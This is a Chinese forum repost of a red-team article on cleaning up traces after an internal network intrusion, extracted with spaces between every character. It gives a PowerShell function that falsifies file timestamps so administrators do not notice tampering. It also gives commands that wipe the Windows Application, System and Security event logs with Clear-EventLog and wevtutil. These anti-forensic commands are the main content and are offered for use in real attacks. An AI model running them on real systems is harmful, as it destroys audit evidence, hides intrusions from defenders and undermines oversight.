搜索

[20551] 2021-03-22_内网渗透结束后，一些痕迹清理的小手段

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-03-22_内网渗透结束后，一些痕迹清理的小手段 内 网 渗 透 结 束 后 ， 一 些 痕 迹 清 理 的 小 手 段 K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 3 - 2 2 以 下 文 章 来 源 于 渗 透 攻 击 红 队   ， 作 者 渗 透 攻 击 红 队 渗 透 攻 击 红 队 一 个 专 注 于 红 队 攻 击 的 公 众 号 大 家 好 ， 这 里 是   渗 透 攻 击 红 队 渗 透 攻 击 红 队   的 第   5 1   篇 文 章 ， 本 公 众 号 会 记 录 一 些 红 队 攻 击 的 笔 记 （ 由 浅 到 深 ） ， 不 定 时 更 新 痕 迹 清 理 在 我 们 做 完 一 系 列 的 内 网 渗 透 操 作 后 ， 必 然 会 留 下 一 些 蛛 丝 马 迹 ， 因 此 我 们 需 要 给 自 己 ” 擦 屁 股 “ 。 本 篇 只 介 绍 如 何 清 除 系 统 日 志 、 修 改 文 件 时 间 戳 。 痕 迹 清 理 痕 迹 清 理 P o w e r s h e l l   修 改 文 件 时 间 戳 修 改 文 件 时 间 戳 有 时 候 我 们 在 登 陆 目 标 桌 面 后 ， 根 据 需 求 可 能 会 动 用 目 标 主 机 上 的 文 件 或 者 文 件 夹 ， 而 一 些 管 理 员 很 久 都 不 会 登 陆 一 次 主 机 ； 设 想 当 管 理 员 一 上 线 看 到 自 己 的 文 件 夹 日 期 有 异 常 ， 是 否 会 怀 疑 ？ 渗 透 攻 击 红 队 渗 透 攻 击 红 队   . 一 个 专 注 于 渗 透 红 队 攻 击 的 公 众 号 F u n c t i o n   e d i t _ t i m e ( $ p a t h ) { $ d a t e 1   = G e t - C h i l d I t e m   |   S e l e c t   L a s t W r i t e T i m e | G e t - R a n d o m ; $ d a t e 2   = G e t - C h i l d I t e m   | S e l e c t   L a s t W r i t e T i m e | G e t - R a n d o m ; $ d a t e 3   = G e t - C h i l d I t e m   | S e l e c t   L a s t W r i t e T i m e | G e t - R a n d o m ; $ ( G e t - I t e m   $ p a t h ) . l a s t a c c e s s t i m e = $ d a t e 1 . L a s t W r i t e T i m e ; $ ( G e t - I t e m   $ p a t h ) . c r e a t i o n t i m e = $ d a t e 2 . L a s t W r i t e T i m e   ; $ ( G e t - I t e m   $ p a t h ) . l a s t w r i t e t i m e = $ d a t e 3 . L a s t W r i t e T i m e } ; e d i t _ t i m e ( " C : U s e r s s a u l G o o d m a n D e s k t o p 工 具 包 p a s s . t x t " )
P o w e r s h e l l   清 除 系 统 日 志 清 除 系 统 日 志 当 我 们 做 了 一 些 操 作 都 会 记 录 到 时 间 查 看 器 里 ， 而 下 面 的   P o w e r s h e l l   就 可 清 除 相 关 日 志 ： 本 篇 只 讲 了 两 个 小 技 巧 ， 在 实 战 中 够 用 一 些 了 ， 之 后 有 空 在 发 其 他 技 巧 。 点 分 享 点 分 享 点 点 赞 点 点 赞 P o w e r S h e l l   - C o m m a n d   " &   { C l e a r - E v e n t l o g   - L o g   A p p l i c a t i o n , S y s t e m , S e c u r i t y } " G e t - W i n E v e n t   - L i s t L o g   A p p l i c a t i o n , S e t u p , S e c u r i t y   - F o r c e   |   %   { W e v t u t i l . e x e   c l   $ _ . L o g n a m e }
点 在 看 点 在 看
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理